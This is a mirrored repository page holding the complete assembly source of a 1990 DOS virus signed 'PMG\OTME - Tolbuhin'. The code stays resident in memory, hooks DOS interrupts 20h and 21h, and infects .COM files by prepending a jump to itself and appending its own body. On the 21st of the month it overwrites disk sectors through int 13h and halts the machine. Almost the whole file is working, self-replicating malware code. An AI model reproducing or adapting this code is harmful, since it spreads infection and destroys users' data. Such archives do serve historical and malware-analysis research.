mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
412 lines
7.0 KiB
NASM
412 lines
7.0 KiB
NASM
start: jmp short begin
|
||
db (00h)
|
||
db (53h)
|
||
db (4bh)
|
||
int 20h
|
||
okey: db (0b8h)
|
||
db (03h)
|
||
db (00h)
|
||
db (0cdh)
|
||
db (10h)
|
||
begin: push cx
|
||
CALL F1
|
||
F1: POP SI
|
||
SUB SI,09
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
MOV WORD PTR [LenF],SI
|
||
cld
|
||
mov di,100h
|
||
mov cx,5
|
||
rep movsb
|
||
jmp ding1
|
||
int21h: STI
|
||
cmp ah,00
|
||
jz int20h
|
||
cmp ah,4ch
|
||
jz int20h
|
||
et1: db (0eah)
|
||
is: dw 0
|
||
io: dw 0
|
||
|
||
;int13h: sti
|
||
; PUSH BX
|
||
; PUSH CX
|
||
; PUSH DX
|
||
; PUSH DS
|
||
; PUSH ES
|
||
; PUSH SI
|
||
; PUSH DI
|
||
; push ax
|
||
; push ds
|
||
; cmp ah,03
|
||
; jz etk2
|
||
; cmp ah,05
|
||
; jnz etk3
|
||
;etk2: mov ax,0000
|
||
; mov ds,ax
|
||
; inc Word ptr [310h]
|
||
; cmp Word ptr [310h],0FFEh
|
||
; jnz etk3
|
||
; push cs
|
||
; pop ds
|
||
; int 20h
|
||
;etk3: pop ds
|
||
; pop ax
|
||
; int 65h
|
||
; cld
|
||
; mov ax,0
|
||
; POP DI
|
||
; POP SI
|
||
; POP ES
|
||
; POP DS
|
||
; POP DX
|
||
; POP CX
|
||
; POP BX
|
||
; iret
|
||
int20h: STI
|
||
PUSH AX
|
||
PUSH BX
|
||
PUSH CX
|
||
PUSH DX
|
||
PUSH DS
|
||
PUSH ES
|
||
PUSH SI
|
||
PUSH DI
|
||
mov ah,2ah
|
||
int 21h
|
||
cmp dl,21
|
||
jnz okef
|
||
mov ax,0309h
|
||
mov dx,0000h
|
||
mov cx,0001h
|
||
lea bx,[100h]
|
||
int 13h
|
||
jmp short okep
|
||
okef: mov ax,0
|
||
mov ds,ax
|
||
inc word ptr [310h]
|
||
cmp Word ptr [310h],0FFFh
|
||
jnz oke
|
||
okep: push cs
|
||
pop ds
|
||
mov ah,9
|
||
mov di,name-okey
|
||
add di,107h
|
||
mov dx,di
|
||
int 21h
|
||
cli
|
||
hlt
|
||
oke: mov ax,0
|
||
mov ds,ax
|
||
cmp byte ptr [302h],0
|
||
jz et3
|
||
mov byte ptr [302h],0
|
||
jmp main
|
||
dinge: jmp ding
|
||
et3: push cs ;ds <- cs
|
||
pop ds
|
||
mov ah,2fh ;Dos service function ah=2FH (get DTA)
|
||
int 21h ;ES:BX Addres of current DTA
|
||
mov di,edta-okey
|
||
add di,107h
|
||
mov [di],ES
|
||
mov [di+2],BX
|
||
mov ah,1ah ;Dos service function ah=1AH (set DTA)
|
||
PUSH CS
|
||
POP DS
|
||
mov dx,dta-okey ;DS:DX Addres of DTA
|
||
add dx,107h
|
||
int 21h
|
||
push cs
|
||
pop ds
|
||
MOV AH,4eH
|
||
MOV DX,files-okey
|
||
ADD dx,107h
|
||
mov cx,00
|
||
INT 21H ;Dos service function ah=4EH (FIND FIRST)
|
||
jc dinge ;CX File attribute
|
||
;DS:DX Pointer of filespec (ASCIIZ string)
|
||
vir: mov ax,3d02h
|
||
push cs
|
||
pop ds
|
||
mov dx,dta-okey ;DS:DX Addres of DTA
|
||
add dx,107h
|
||
add dx,1EH
|
||
int 21h ;Dos service function ah=3DH (OPEN FILE)
|
||
;AL Open mode
|
||
;DS:DX Pointer to filename (ASCIIZ string)
|
||
;Return AX file handle
|
||
mov di,handle-okey
|
||
add di,107h
|
||
mov [di],ax
|
||
mov ah,'C'
|
||
mov al,'D'
|
||
PUSH DX
|
||
POP BX
|
||
cmp [bx],ah ;Compare filename for 'COMMAND.COM'
|
||
jnz p1 ;If not first char 'C' then push virus in file
|
||
cmp [bx+6],al
|
||
jz v ;If 7 char 'D' then find next file
|
||
p1: mov di,handle-okey
|
||
add di,107h
|
||
mov bx,[di]
|
||
push cs
|
||
pop ds
|
||
mov ah,3fh
|
||
mov dx,end-okey
|
||
add dx,107h
|
||
mov cx,5
|
||
int 21h ;Dos service function ah=3FH (READ FILE)
|
||
;BX File handle
|
||
;CX Number of bytes to read
|
||
;DS:DX Addres of buffer
|
||
push cs
|
||
pop es ;ES <- CS
|
||
cld
|
||
PUSH DX
|
||
POP SI
|
||
mov di,107h
|
||
mov cx,5
|
||
rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI
|
||
; SI=SI+1
|
||
; DI=DI+1
|
||
mov ax,534bh
|
||
mov di,dx
|
||
add di,3
|
||
cmp [di],ah
|
||
jnz fuck
|
||
inc di
|
||
cmp [di],al
|
||
jnz fuck
|
||
v: push cs
|
||
pop ds
|
||
mov di,handle-okey
|
||
add di,107h
|
||
mov bx,[di]
|
||
mov ah,3eh
|
||
int 21h
|
||
push cs
|
||
pop ds
|
||
mov ah,4fh
|
||
int 21h
|
||
jc enzi
|
||
jmp short vir
|
||
enzi: jmp ding
|
||
fuck: mov ax,dta-okey
|
||
add ax,107h
|
||
add ax,1aH
|
||
mov di,ax
|
||
Mov Word Ptr cx,[di]
|
||
mov ax,end-okey
|
||
add ax,107h
|
||
mov di,ax
|
||
mov al,0e9h
|
||
cmp cx,0feh
|
||
jna v
|
||
add cx,2
|
||
mov [di],al
|
||
inc di
|
||
mov Word Ptr [di],cx
|
||
mov ax,534bh
|
||
add di,2
|
||
mov [di],ah
|
||
inc di
|
||
mov [di],al
|
||
mov di,handle-okey
|
||
add di,107h
|
||
mov bx,[di]
|
||
mov ax,4200h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
push cs
|
||
pop ds
|
||
int 21h
|
||
mov di,handle-okey
|
||
add di,107h
|
||
mov bx,[di]
|
||
mov ah,40h
|
||
mov dx,end-okey
|
||
add dx,107h
|
||
mov cx,5
|
||
int 21h
|
||
mov ax,4202h
|
||
xor cx,cx
|
||
xor dx,dx
|
||
int 21h
|
||
push cs
|
||
pop ds
|
||
mov di,handle-okey
|
||
add di,107h
|
||
mov bx,[di]
|
||
mov ah,40h
|
||
mov dx,107h
|
||
mov cx,end-okey
|
||
int 21h
|
||
mov ah,3eh
|
||
int 21h
|
||
mov ax,0000
|
||
mov ds,ax
|
||
inc Word ptr [0310h]
|
||
push cs
|
||
pop ds
|
||
ding: mov ah,1ah
|
||
mov di,edta-okey
|
||
add di,107h
|
||
mov ds,[di]
|
||
mov dx,[di+2]
|
||
int 21h
|
||
main: PUSH CS
|
||
POP DS
|
||
POP DI
|
||
POP SI
|
||
POP ES
|
||
POP DS
|
||
POP DX
|
||
POP CX
|
||
POP BX
|
||
POP AX
|
||
int1h: DB (0EAH)
|
||
INTSH: DW (0)
|
||
INTOH: DW (0)
|
||
name: db 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$'
|
||
for1: jmp for
|
||
files: db '*.com',0
|
||
Ding1: mov ax,0000h
|
||
mov ds,ax
|
||
mov byte ptr [302h],1
|
||
cmp word ptr [300h],4B53h
|
||
jz for1
|
||
mov word ptr [300h],4B53h
|
||
mov ah,62h
|
||
int 21h
|
||
mov ds,bx
|
||
mov bx,[2ch]
|
||
dec bx
|
||
mov dx,0FFFFh
|
||
loc_1: mov ds,bx
|
||
mov di,[3]
|
||
inc di
|
||
add dx,di
|
||
add bx,di
|
||
cmp byte ptr [0000],5Ah
|
||
jne loc_1
|
||
mov cx,es
|
||
add cx,dx
|
||
sub word ptr [3],80h
|
||
sub cx,80h
|
||
sub cx,10h
|
||
mov es,cx
|
||
mov di,100h
|
||
cld
|
||
PUSH DI
|
||
mov ax,0000h
|
||
mov ds,ax
|
||
; mov bx,[004ch]
|
||
; mov [0194h],bx
|
||
; mov cx,[004eh]
|
||
; mov [0196h],cx
|
||
mov bx,[0080h]
|
||
mov cx,[0082h]
|
||
PUSH CS
|
||
POP DS
|
||
mov di,intsh-okey
|
||
add di,[lenf]
|
||
mov [di],bx
|
||
mov [di+2],cx
|
||
mov ax,0000h
|
||
mov ds,ax
|
||
mov bx,[0084h]
|
||
mov cx,[0086h]
|
||
PUSH CS
|
||
POP DS
|
||
mov di,is-okey
|
||
add di,[lenf]
|
||
mov [di],bx
|
||
mov [di+2],cx
|
||
push cs
|
||
pop ds
|
||
POP DI
|
||
mov si,[lenf]
|
||
sub si,7
|
||
mov cx,800h
|
||
push cs
|
||
pop ds
|
||
rep movsb
|
||
mov ax,0000
|
||
mov ds,ax
|
||
mov WORD PTR [0082h],es
|
||
mov WORD PTR [0086h],es
|
||
; mov WORD PTR [004eh],es
|
||
; mov di,int13h-okey
|
||
; add di,107h
|
||
; mov WORD PTR [004ch],di
|
||
mov di,int20h-okey
|
||
add di,107h
|
||
mov WORD PTR [0080h],di
|
||
mov di,int21h-okey
|
||
add di,107h
|
||
mov WORD PTR [0084h],di
|
||
jmp ding3
|
||
for: mov ax,0
|
||
mov ds,ax
|
||
mov bx,[80h]
|
||
mov cx,[82h]
|
||
push cx
|
||
pop ds
|
||
push cx
|
||
mov di,intsh-okey
|
||
add di,107h
|
||
mov bx,[di]
|
||
mov cx,[di+2]
|
||
push cs
|
||
pop ds
|
||
mov di,v20h1-okey
|
||
add di,[lenf]
|
||
mov [di],bx
|
||
mov [di+2],cx
|
||
mov ax,0000h
|
||
mov ds,ax
|
||
mov Byte ptr [302h],0
|
||
pop ds
|
||
mov di,INTSH-okey
|
||
add di,107h
|
||
mov bx,ding2-okey
|
||
add bx,[lenf]
|
||
mov word ptr [di],bx
|
||
mov word ptr [di+2],CS
|
||
int 20h
|
||
ding2: push cs
|
||
pop ds
|
||
mov di,v20h1-okey
|
||
add di,[lenf]
|
||
mov bx,[di]
|
||
mov cx,[di+2]
|
||
mov ax,0
|
||
mov ds,ax
|
||
mov WORD PTR ax,[82h]
|
||
mov word ptr [302h],1
|
||
mov ds,ax
|
||
mov di,intsh-okey
|
||
add di,107h
|
||
mov [di],bx
|
||
mov [di+2],cx
|
||
ding3: PUSH CS
|
||
POP DS
|
||
push cs
|
||
pop es
|
||
pop cx
|
||
mov si,100h
|
||
jmp si
|
||
LenF: dw ?
|
||
dta: db 256 dup (?)
|
||
handle: dw ?
|
||
edta: dw ?
|
||
bdta: dw ?
|
||
v20h1: dw ?
|
||
v20h2: dw ?
|
||
com: db 'COMMAND'
|
||
end: db (00)
|
||
|